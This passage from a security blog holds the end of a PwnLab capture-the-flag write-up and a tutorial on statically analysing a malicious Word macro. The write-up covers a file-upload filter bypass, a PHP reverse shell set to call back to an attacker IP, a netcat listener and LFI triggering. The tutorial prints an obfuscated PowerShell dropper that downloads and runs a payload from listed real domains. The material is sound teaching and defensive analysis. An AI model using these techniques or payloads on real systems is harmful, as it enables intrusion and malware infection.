</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

The final page, “login”, did not contain anything of interest so I’ve not included the decoded base64 code block.

Moving on, we know the index page has an include vulnerability on it, and we know that if we are logged into the site, we can upload an image onto the webserver. Our end goal is to get a shell to the web server, so our plan is to bypass the file filtering on the upload page and upload a shell script, where we will then exploit the include vulnerability on the index page to get it to execute our shell script. First, we need to login to the site.

So we’re going to try to connect to the database via MySQL with the credentials we’ve stolen from the config file, if we run a command to connect the MySQL database running on the webserver with the username ‘root’ and enter the decoded password, it works!

We can select to “use” the “Users” table and select all (*) entries. Three users are returned, with their passwords, which look to be encoded in base64.

TIP: When pen testing it’s always a good idea to note down any usernames or passwords you encounter in a notepad file, this makes them easily accessible and will save you having to keep decoding/decrypting them.

After decoding the passwords, we can try to login with one of the users’ credentials, and bingo, we’re in! And now we have access to upload a file. As mentioned before, I’m using ParrotOS, which comes bundled with some premade web shell scripts, we’re going to be using the php-reverse-shell.php script that’s located in the directory /usr/share/webshells/php/
If you’re not using ParrotOS you can find the Shell here on GitHub

If you remember from before there are restrictions on the type of files we can upload, so we need to make some changes to the file to bypass the whitelisting. We can bypass the MIME type filtering by placing ‘GIF89;‘ at the top of our shell script. We will also need to ensure the script uses the extension ‘.gif‘ as well. Finally, we need to change the IP address and port in the shell script, the IP address will be the IP address that we want the shell to connect to (so the IP address of your host machine) and the port can be anything that isn’t currently being used.

GIF89;
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.47';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';

Once that’s done, we save the file and upload it onto the webserver. The small changes worked and were able to bypass the file filtering. We can confirm that the file was successfully uploaded by navigating to the “upload directory” on the webserver (which in this case is located at http://192.168.1.72/upload). Here we can see the fake GIF file we uploaded, where the hash value of the file has been used to rename the file. We need to make a note of the new file name, as we’re going to need it in the next step.

For the next step, we’re going to be using Burp Suite. Firstly we need to intercept a page using the “Proxy” module in Burp, you’ll need to configure your browser to use Burp as a proxy, you can find a guide on how to do so here. Once that’s done, make sure you have “intercept” turned on within the proxy module in Burp, and navigate to any page on the Pwnlab web server. You should intercept something which looks similar to the image below.

The thing we are interested in here is the Cookie value, if you remember back to earlier the Cookie Lang contained an inclusion vulnerability. We’re going to point the Cookie Lang to our PHP shell script which we uploaded onto the server. To do this, right-click anywhere in the whitespace in the output of the page you intercepted in Burp intercept and select “send to repeater”. Now navigate to the repeater module in Burp and replace the cookie called lang with the path of the script we uploaded earlier which we noted down earlier.

Before forwarding this modified request on to the webserver, we need to set up a Netcat session to listen to the port we defined in the PHP script earlier, in this case it’s 1234. (Some readers may have noticed I’ve moved over to a Windows box, this is because I broke my ParrotOS VM, not for the first time!…)

We set up a session by using the command

-l -p 1234

Then we can “send” our modified HTTP GET request to the webserver from Burp, and boom, we should receive a shell in Netcat as shown below.

We then can upgrade our shell by running the below command.

python -c 'import pty;pty.spawn("bin/bash")'

And now we’re free to roam around on the web server and attempt to escalate our privileges.

Conclusion

That concludes this short post on LFI with a few other pen testing tricks thrown in. Although LFI is not a new topic, due to poor practice it’s still prevalent, and I thought that this lab exercise showed a good example of how it can be exploited and the damage that can be done.

Resources

PWNLab Image
Parrot OS
Burp Suite

Static Malware Analysis with OLE Tools and CyberChef

Static analysis is the process of analysing malicious code, whether it be a script or a program, to determine what action the code is trying to execute. Unlike dynamic analysis, static analysis does not involve executing or running the code.

There are loads of open source tools out there which can be used to perform static analysis, today we are going to be looking OLE Tools, and CyberChef.

OLE Tools is a Python package used to analyse Microsoft Office documents. Malicious VBA scripts within Macros embedded in Office documents is a common malware distribution technique, so OLE Tools is a very useful tool to have in your toolkit.

CyberChef is a web application created by GCHQ, it is often referred to as the swiss army knife tool of cyber, and can be used for encryption, encoding, compression and data analysis, it’s a must-have tool in any toolkit.

NOTE: It’s worth noting that this guide is meant to demonstrate the steps to reverse common obfuscation techniques. You may encounter different obfuscation techniques depending on the document sample you have, however, the same logic can still be applied.

Getting Setup

If you haven’t already, install pip.

sudo apt install python3-pip

Then install oletools.

sudo -H pip install -U oletools

Find a malicious office document, there are a number of sources where you can download these files, see the resources section at the bottom of this page for a list of sample websites.

I would suggest cape sandbox as it does not require any signup and allows you to get your hands on a sample quickly, make sure you select a sample with the file type “doc”.

Using oletools

Once you’ve got everything prepared, navigate to the directory where your downloaded file lives. Run the first command to obtain meta data around the file. (Replace the text “filename” with the name of the malicious file that you downloaded.)

olemeta "filename"

Running this command is going to return some useful meta data around the document.

Output from running “olemeta” on our malicious document

It is macros embeded in the document that we are interested in, so next lets see if the file contains any macros. Run the oleid command.

oleid "filename"

By running this command we can see that the document does contain a VBA Macro. This is what we’re interested in.

Output from running “oleid” on our malicious document

Lets try to extract those macros out of the document, run the olevba command.

olevba "filename"

The table shown in the image below will be displayed at the bottom of your terminal session, it contains an overview of what was found in the macro. The information we are interested in the most is the Base64 encoded strings. Encoding with Base64 is a common technique used by malware authors to try and obfuscate their code and make it more difficult for anti-virus to detect.

Output from running “olevba” command on our malicious document

If you scroll up the page you will see all of the data pulled from the macro, we want to find the Base64 encoded text. You should be able to easily recongise Base64 encoding, in this case it’s the big block of text.

Visual basic code from document macro encoded in Base64

Lets copy the text and take it over to CyberChef.

Using CyberChef

The first thing to do is to take the base64 encoded text and decode it, we do this by dragging the “from Base64” operator into the recipe column. Paste the encoded text block into the input box.

Code decoded using from Base64 operator

Tip: If you’re ever unsure on the format of a piece of text or what it has been encoded with, you can use the magic operator to find out!

You should immediately be able to see that the output is now more understandable, however, the author has taken a number of steps to further obfuscate the code and make it more difficult for us to analyse. Adding punctuation between characters is a common obfuscation technique used by malware authors, as displayed in our code block below.

$.c.6.9.5.3.7.2.4.=.'.I.4.4.2.9.8.7.7.'.;.$.f.1.6.2.1.1.0.0. .=. .'.6.5.6.'.;.$.W.8._.8.6.7.=.'.U.8.3.7.3.6.0.6.'.;.$.N.1.6._.7.2.3.=.$.e.n.v.:.u.s.e.r.p.r.o.f.i.l.e.+.'.\.'.+.$.f.1.6.2.1.1.0.0.+.'...e.x.e.'.;.$.P.6.9.8.0.7.=.'.P.5.5.6.4.3.0.7.'.;.$.S.3.2._.7.2.=...(.'.n.e.w.-.o.b.j.'.+.'.e.'.+.'.c.t.'.). .n.e.t...W.`.e.B.`.C.L.i.E.N.T.;.$.V.8.3.8.4.6.=.'.h.t.t.p.:././.e.a.d.h.m...c.o.m./.p.u.b.l.i.c._.h.t.m.l./.F.J.C.D.S.z.U.f.m./.@.h.t.t.p.:././.w.w.w...c.a.t.-.s.c.h.o.o.l...r.u./.u.s./.7.1.0.y.f.0.n._.u.a.7.x.4.j.-.7.4.7.9.9.9.4./.@.h.t.t.p.:././.w.w.w...a.h.o.r.a.s.e.g.u.r.o...d.m.c.i.n.t.l...c.o.m./.w.p.-.a.d.m.i.n./.V.y.z.f.D.U.J.D./.@.h.t.t.p.:././.w.w.w...c.a.n.d.a.s.y.a.p.i...c.o.m./.c.g.i.-.b.i.n./.k.b.d.3.o.6.a.i.k._.n.6.g.t.d.b.v.-.5.5./.@.h.t.t.p.:././.d.o.m.u.s.w.e.a.l.t.h...k.a.y.a.k.o.d.e.v...c.o.m./.w.p.-.c.o.n.t.e.n.t./.u.p.l.o.a.d.s./.r.L.D.c.C.y.A.u.b.M./.'...s.P.L.i.t.(.'.@.'.).;.$.s.8.8.1.3.7.2._.=.'.E.8.0.3._.3.4._.'.;.f.o.r.e.a.c.h.(.$.o.5.6.2._.1. .i.n. .$.V.8.3.8.4.6.).{.t.r.y.{.$.S.3.2._.7.2...d.o.W.N.l.O.a.D.F.I.l.E.(.$.o.5.6.2._.1.,. .$.N.1.6._.7.2.3.).;.$.s.5.5.9.4.6.4.0.=.'.j.7.5.1.7.0.'.;.I.f. .(.(.&.(.'.G.'.+.'.e.t.'.+.'.-.I.t.e.m.'.). .$.N.1.6._.7.2.3.)...l.E.n.g.t.h. .-.g.e. .3.1.8.3.5.). .{.&.(.'.I.n.v.'.+.'.o.k.e.'.+.'.-.I.t.e.m.'.). .$.N.1.6._.7.2.3.;.$.K.7.0.7.6.8.=.'.J.7.1.0._.1.5.'.;.b.r.e.a.k.;.$.Q._.8.8.3.3.7.=.'.Y.4.0.7.1.8.'.}.}.c.a.t.c.h.{.}.}.$.Q.2._.9.0.2.8.1.=.'.U.2.9.6.1.1.'.

We’re going to take our decoded code block, and use other features in CyberChef to reverse the obfuscation and make the code more understandable. Firstly we’re going to remove the full stops between each character. Keep the “from base64” operator in your recipe, drag the Regular expression operator in as well, keep the settings at their defaults, this should remove the false stops.

Output of code with from base64 and Regular expression operators

That already looks a lot better, you should be able to see some useful information like URLs in the output, there is still some obfuscation via punctuation in the code though, so let’s remove them.

We’re going to start a new CyberChef recipe now because sometimes using lots of operators together can cause CyberChef to freak out a little. So copy the output to your clipboard, and start a new recipe.

In your new recipe paste the copied code into the input, and add the following operators.

  • To Lower Case
  • Find and Replace, x4 with the following settings.
    • All variables set to “simple string”
    • With the values
      • `
      • +
    • The “replace” value should be blank for each. This replaces the punctuation with nothing, effectively removing it from the code.
  • Generic Code Beautify (to tidy the code up a little).
Code output after full reciepe is applied.

Hopefully after all of that you should end up with something a lot more readable. We are not done there however, we’re going to take the output and perfrom some manual editing to get a better idea of what the code is doing.

Editing with Atom

Atom is a text/source code editor, it’s my go-to choice for working with any code within Linux, see the resources section for a guide on how to install atom.

First things first, we need to install a Visual Basic package in Atom to highlight syntax for us. Do this by going to the top toolbar in Atom, click on Packages > Settings View > Install Packages.
In the search bar search for VBA, and install one of the syntax highlighting packages for Visual Basic. Copy the most recent output of CyberChef, and paste it into Atom, make sure to save the file with the extension .vba so Atom can perform syntax highlighting.

VBA script with syntax highlighting in Atom.

There is still a fair amount of junk incorporated into this visual basic code. The author has defined a lot of the important components as variables, with names that give us no indication as to what they do. He has also included some junk variables as well to bulk to the code, let’s remove those first.

Defined variables which only appear once in the code, and appear to have no meaningful value are junk variables, those are the ones we want to remove. Below shows some of the junk variables from the code, note how they all fit a similar pattern. Removing these is not overall necessary, but it does help us tidy up the code a little.

$c6953724 = i4429877;
$w8_867 = u8373606
$p69807=p5564307
$s5594640=j75170
$q2_90281=u29611

The next thing we want to do is give the important variables a meaningful name. We do this by copying the name of a variable, let’s take $v83846 as an example, if we do a find and replace (control f) we can see this variable is called twice. Focus on the image below, this shows the two occurrences of the variable.

Firstly when the variable $v83846 is first defined we see a bunch of URLs bundled together separated by the “@” symbol, and at the end of the statement, there is a split on the “@” symbol. The author has bundled the URLs together and used the split function so the compiler knows to treat each URL as an individual. We can safely assume that the variable $v83846 is a list of websites, so we can rename the variable to something more useful like “sitelist“.

Highlighted variable renamed to sitelist.

We then see a foreach statement, which again refers to our previously defined variable, followed by a try statement, where it appears it is trying to download a file. It is clear the code is trying to download a file, and it has a number of sites which it is going to try and download these files from.

If we rename all of the useful variables, we should end up with something as shown below. This gives us a much better picture of what’s going on.

Code after useful variables renamed and tidying.

The script is attempting to download a file called 656 from one of the five different domains stored in the site list, it’s going to download the file into the users home directory (as defined by “userprofile“) and if the file is of a certain size (around 30MB) it’s going to attempt to invoke/execute. The reason for checking the file size is to see if the file downloaded successfully or was stopped by antivirus.

This kind of VBA script is what is known as a dropper, it’s sole purpose is to download addtional malware onto the users device. Using malcious macros embeded in Word document sent via emails is a technique used heavily by Emotet, a previliant malware campagin which in recent months has become a common way of spreading other malware.

Conclusion

That brings us to the end of this post. Hopefully, now you’ll have a better idea of how you can use open-source tools to analyse malicious office documents. Malicious documents attached in emails is still an effective and heavily used technique to spread malware.

Resources

Copyright © 2024 On The Hunt

Theme by Anders NorenUp ↑